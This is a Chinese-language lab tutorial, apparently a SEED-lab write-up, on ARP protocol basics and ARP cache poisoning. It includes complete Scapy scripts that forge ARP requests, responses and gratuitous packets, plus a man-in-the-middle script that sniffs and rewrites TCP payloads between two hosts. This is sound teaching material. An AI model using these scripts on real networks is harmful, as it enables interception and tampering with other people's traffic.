了解ARP的基础知识,逐步讲解ARP缓存中毒攻击的原理,并进行相应的攻击演示。

一、ARP基础知识

1. ARP简介

ARP即地址解析协议(Address Resolution Protocol)的简称,该协议是TCP/IP协议簇里面的一个协议。ARP的主要作用是根据IP地址来获取对应的MAC地址。

在开放式系统互联(Open System Interconnection,简称OSI)模型当中,所有网络通信的工作被分为了7层:物理层、数据链路层、网络层、传输层、会话层、表示层、应用层。当网络在进行通信时,OSI模型当中的每一层都只是负责该层各自的工作,然后将处理完的数据传送给下一层。

目前网络通信中最常见的IPv4协议工作在OSI模型的第三层,即网络层。在发送数据时,来自传输层的数据段(Segment)到达网络层之后,网络层需要将该数据段重新封装为数据包(Packet),并且根据数据包内的IPv4地址,结合网络层自身的路由表,来为数据包选择最佳的传输路径。当网络层的数据包到达数据链路层之后,需要重新将数据包封装为数据帧(Frame),然后再交由物理层进行字节传输。
如下图所示为OSI模型图。

然而,这里出现了一个问题:物理层无法越过数据链路层去获取目的主机的IP地址,因此它不知道数据该发送给谁。因此,在数据链路层中,ARP协议的作用就显得尤为重要。ARP协议根据来自网络层的数据包中包含的IPv4地址,查询出对应目的主机的MAC地址,然后将该MAC地址封装在数据帧当中再传送给物理层传输。这样一来,物理层就知道数据该发往哪里了。
如下图所示为ARP报文格式。

如下图所示为ARP报文封装在以太网帧内形成的ARP帧格式。

2. ARP映射方式

为了ARP协议更高效地查询到IP地址与MAC地址的对应关系,设备上会存在一个ARP缓存表,里面存储着若干条IP地址与MAC地址的映射记录。根据缓存表的某些特性,ARP映射方式主要分为以下两种:
静态ARP缓存表
主要分为长静态ARP缓存表和短静态ARP缓存表两种。这种方式通常需要手动创建一张ARP缓存表存储于设备上。
优点:
ARP缓存表内的映射记录不会被改变、安全性得以保障。
缺点:
需要手工创建缓存表,当设备数量较多时工作量大;
设备更换网络适配器之后,MAC地址会改变;
设备可能会因不同的环境出现不同的MAC地址。

动态ARP缓存表
已知目的主机的IP地址,使用ARP协议生成相应的报文对目的主机的MAC地址进行查询,同时动态地对本地ARP缓存表进行维护更新。
优点:
无需手工创建缓存表,工作量大大减少;
当设备的MAC地址发生改变时,能够自动地对本地ARP缓存表进行更新;
ARP缓存表内的映射记录可以被老化、覆盖、更新、删除、添加等。
缺点:
ARP缓存表内的映射记录可能会被人为修改,存在安全隐患。

3. ARP工作方式

动态缓存下ARP的主要工作方式
第1步:主机A根据本地路由表内容,确定访问主机B的IP地址,同时在本地ARP缓存表中检查主机B的对应MAC地址。
第2步:如果主机A在ARP缓存表中没有找到映射,它将ARP请求消息广播到本地网络上的所有主机。主机A的源IP地址和源MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查请求的IP地址是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。(ARP请求)
第3步:主机B确定ARP请求的IP地址与自己的IP地址匹配,将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
第4步:主机B将包含其MAC地址的ARP回复消息直接发送给主机A。(ARP响应)
第5步:主机A收到从主机B发来的ARP回复消息,用主机B的IP和MAC地址映射更新本地ARP缓存表,二者可以开始正常通信。
值得注意的是,本地ARP缓存表内的映射记录是存在一定生存期的,当生存期结束后,主机将再次重复上面的过程。

免费ARP报文
免费ARP报文是一种很特殊的ARP报文,如下图所示为免费ARP报文格式。

由于该报文的特殊性,它可以用来完成以下各项工作:
第1种:检查网络中IP地址是否冲突。
主机A发送免费ARP报文,假设其它主机收到来自主机A的免费ARP报文后发现自己的IP地址和报文中的IP地址冲突,则会产生相应的ARP应答给主机A,主机A得知本机的IP地址与其它主机的IP地址与冲突。
第2种:更新网络中主机的ARP缓存表。
当主机A改变了MAC地址,它通过发送免费ARP报文通知网络中的其它主机更新ARP缓存表中主机A对应的映射记录。

免费ARP报文学习
网络中的设备根据收到的免费ARP报文中携带的信息对自身的ARP缓存表进行更新修改。
收到免费ARP报文后,设备会先判断ARP缓存表中是否存在与此免费ARP报文源IP地址对应的ARP缓存表映射记录:
存在:根据免费ARP报文中携带的信息更新对应的ARP缓存表映射记录;
不存在:根据免费ARP报文中携带的信息新建ARP缓存表映射记录。
若关闭免费ARP报文学习功能,设备不会新建原先不存在的ARP缓存表映射记录,但会更新已存在的对应ARP缓存表映射记录。

定时发送免费ARP报文
通过定时发送免费ARP报文,设备能够通知网络中的其它设备及时更新本地ARP缓存表中的映射记录,在很大程度上确保了网络安全性安全性。与此同时,能够防止设备中的ARP缓存表映射记录老化、防止例如仿冒网关的ARP攻击等。

二、ARP缓存中毒攻击

1. 攻击原理

ARP缓存中毒攻击(ARP Cache Poisoning Attack)主要利用了ARP没有任何安全措施的弱点。ARP缓存表内的映射记录依赖于计算机中的高速缓冲存储器动态更新,然而高速缓冲存储器的更新是受到更新周期的限制的,通常只保存最近使用的映射记录。
攻击者正是利用这一弱点,在高速缓冲存储器更新缓存表中的映射记录之前,通过欺骗受害者接受伪造的IP地址到MAC地址的映射,导致受害者的数据包可能会被重定向到具有伪造MAC地址的计算机之上,进而完成攻击行为。

2. 攻击演示

Scapy工具简介
Scapy是一个Python库程序。其最主要的功能在于能够让用户侦听、解析、伪装和发送各种网络报文。基于这些功能,该程序能够轻松地做到网络扫描、网络发现、路由追踪、数据包嗅探和网络攻击等各项任务。
使用方式:在构造数据包之前首先导入Scapy模块:
from scapy.all import *
我们可以通过Scapy内的ls命令来查看构造一个ARP类时应当具有哪些属性,如图所示:

准备工作
实验环境为3台SEED Ubuntu 16.04 LTS,分别扮演Attacker、Alice、Bob的角色,确保三台主机之间能够互相进行数据通信。
记录3台主机的IP地址和MAC地址信息:
Attacker:

Alice:

Bob:

记录3台主机的初始本地ARP缓存表信息:
Attacker:

Alice:

Bob:

ARP缓存中毒攻击
结合ARP协议的工作方式,我们主要通过三个数据包伪造脚本来实现三种方式的ARP缓存中毒攻击:ARP请求数据包、ARP请求数据包、免费ARP数据包。

中毒攻击一(ARP请求数据包)。

通过Attacker向Bob发送伪造ARP请求数据包,使Bob的本地ARP缓存表中添加一条记录:将Alice的IP地址映射到Attacker的MAC地址。
使用的攻击脚本:arp_request.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#!/usr/bin/python3
from scapy.all import *

VM_B_IP = "10.0.2.7"

VICTIM_IP = "10.0.2.6"
FAKE_MAC = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc = VICTIM_IP
A.pdst = VM_B_IP

frame = E/A
sendp(frame)

Attacker发起攻击:

攻击效果:Bob的ARP缓存表中出现了Alice的IP地址并且映射到了Attacker的MAC地址。同时也添加了Attacker的映射记录。

中毒攻击二(ARP响应数据包)。

通过Attacker向Alice发送伪造ARP响应数据包,使Alice的本地ARP缓存表中更新一条记录:将Bob的IP地址映射到Attacker的MAC地址。
使用的攻击脚本:arp_response.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#!/usr/bin/python3
from scapy.all import *

VM_A_MAC = "08:00:27:5b:33:ad"

VICTIM_IP = "10.0.2.7"
FAKE_MAC = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...method: response...")

E = Ether()
E.dst = VM_A_MAC
E.src = FAKE_MAC

A = ARP()
A.op = 2
A.hwsrc = FAKE_MAC
A.psrc = VICTIM_IP
A.hwdst = VM_A_MAC

frame = E/A
sendp(frame)

值得注意的是,此时Alice的ARP缓存表仍处于初始状态,其中并不包含Bob的IP地址对应的映射记录,而且由于ARP响应报文只能更新不能添加记录,因此ARP响应数据包并不会在Alice的ARP缓存表中添加Bob对应的记录。
我们需要Alice先ping通 Bob:

这样Alice的ARP缓存表中就包含Bob的IP地址对应的映射记录:

接着,Attacker发起攻击:

攻击效果:Alice的ARP缓存表中Bob的IP地址映射到了Attacker的MAC地址。

中毒攻击三(免费ARP数据包)。

通过Attacker向网络中其它主机发送伪造免费ARP数据包,使Alice和Bob的本地ARP缓存表中更新一条记录:将Attacker的IP地址映射的MAC地址更新为:aa:bb:cc:dd:ee:ff。
使用的攻击脚本:arp_gratuitous.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/python3
from scapy.all import *

VM_A_IP = "10.0.2.5"
VM_A_MAC = "ff:ff:ff:ff:ff:ff"

VICTIM_IP = "10.0.2.5"
FAKE_MAC = "aa:bb:cc:dd:ee:ff"

print("ARP Cache Poisoning Attacking...method: gratuitous...")

E = Ether()
E.dst = VM_A_MAC
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc = VICTIM_IP
A.hwdst = VM_A_MAC
A.pdst = VM_A_IP

frame = E/A
sendp(frame)

Attacker发起攻击:

攻击效果:Bob的ARP缓存表中Attacker的IP地址映射的MAC地址变成了aa:bb:cc:dd:ee:ff:

但是Alice的ARP缓存表中不存在关于Attacker的IP地址的映射记录。

出现上述现象的原因是,此时Alice的ARP缓存表中并不包含Attacker的IP地址对应的映射记录,而且由于免费ARP报文只能更新不能添加记录,因此免费ARP数据包并不会在Alice的ARP缓存表中添加Attacker对应的记录。
为此,我们让Alice先ping通 Attacker:

这样Alice的ARP缓存表中就包含Attacker的IP地址对应的映射记录了(同样的效果也可以直接通过Attacker向Alice发送伪造ARP请求数据包来实现,具体攻击中这一方式更为合理):

接着Attacker发起攻击:
攻击效果:Alice和Bob的ARP缓存表中Attacker的IP地址映射的MAC地址都变成了aa:bb:cc:dd:ee:ff。


ARP缓存中毒中间人攻击(基于Netcat)
通过Attacker向Alice和Bob发送伪造ARP请求数据包,将Alice和Bob本地ARP缓存表中两人互相对应的记录所映射的MAC地址都更改为Attacker的MAC地址,从而达到Attacker作为中间人拦截并修改、转发Alice和Bob之间通信数据的目的。攻击原理如图所示:

首先,Attacker向Alice和Bob发送伪造ARP请求数据包。
使用的攻击脚本:arp_poisoning.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/python3
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

VICTIM_A_IP = "10.0.2.7"
VICTIM_B_IP = "10.0.2.6"
FAKE_MAC = "08:00:27:c0:a7:cd"

print("ARP Cache Poisoning Attacking...host: A...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc = VICTIM_A_IP
A.pdst = VM_A_IP

frame = E/A
sendp(frame)

print("ARP Cache Poisoning Attacking...host: B...method: request...")

E = Ether()
E.src = FAKE_MAC

A = ARP()
A.op = 1
A.hwsrc = FAKE_MAC
A.psrc = VICTIM_B_IP
A.pdst = VM_B_IP

frame = E/A
sendp(frame)

Attacker发起攻击:

攻击效果:Alice和Bob本地ARP缓存表中两人互相对应的记录所映射的MAC地址都更改为Attacker的MAC地址。


我们打开Attacker的端口转发功能:

然后让Alice和Bob进行Netcat通信,我们发现此时Alice和Bob可以经过Attacker正常通信:


接着,我们关闭Attacker的端口转发功能:

然后让Alice和Bob进行Netcat通信,我们发现此时Alice无法连接到Bob,Bob也无法接收到Alice发出的消息:


接下来,我们在Attacker上拦截、修改并重新发送Alice向Bob发送的数据,对于特定字符串“luoyongjiang”,我们将其修改为“AAAAAAAAAAAA”,对于其它字符串我们给予放行。同时对于Bob向Alice发送的数据,我们不作任何修改给予放行。
使用的攻击脚本:arp_poisoning_mitm.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/usr/bin/python
from scapy.all import *

VM_A_IP = "10.0.2.6"
VM_B_IP = "10.0.2.7"

def spoof_pkt(pkt):
if pkt[IP].src == VM_A_IP and pkt[IP].dst == VM_B_IP and pkt[TCP].payload:
print("ARP Cache Poisoning Man-in-the-MiddleAttacking...")

data = pkt[TCP].payload.load
print("Original Packet.........")
print("Source IP: ", pkt[IP].src)
print("Destination IP: ", pkt[IP].dst)
print("Message: ", data)
print("Message Length: %d" % (len(data)))

newpkt = IP(pkt[IP])
del(newpkt.chksum)
del(newpkt[TCP].payload)
del(newpkt[TCP].chksum)
newdata = data.replace(b'luoyongjiang', b'AAAAAAAAAAAA')
newpkt = newpkt/newdata

print("Spoofed Packet.........")
print("Source IP : ", newpkt[IP].src)
print("Destination IP :", newpkt[IP].dst)
print("Message: ", newdata)
print("Message Length: %d" % (len(newdata)))

send(newpkt)

elif pkt[IP].src == VM_B_IP and pkt[IP].dst == VM_A_IP:
print("The message is sent from host B to host A...")
newpkt = pkt[IP]
send(newpkt)

pkt = sniff(filter='tcp', prn=spoof_pkt)


攻击效果:“luoyongjiang”成功修改为“AAAAAAAAAAAA”,其它字符串不变。

同时,Attacker端也显示了相应的拦截信息:

值得注意的是,由于ARP的周期性,缓存表内的映射记录会在一定时间之后被ARP自动更新。因此在攻击的过程当中,我们可能需要不定时地重复使用Attacker向Alice和Bob发起ARP缓冲中毒攻击。

(若有不足之处或疑问,欢迎补充交流)

评论区 (输入正确的邮箱可以收到回复哦!网址可选)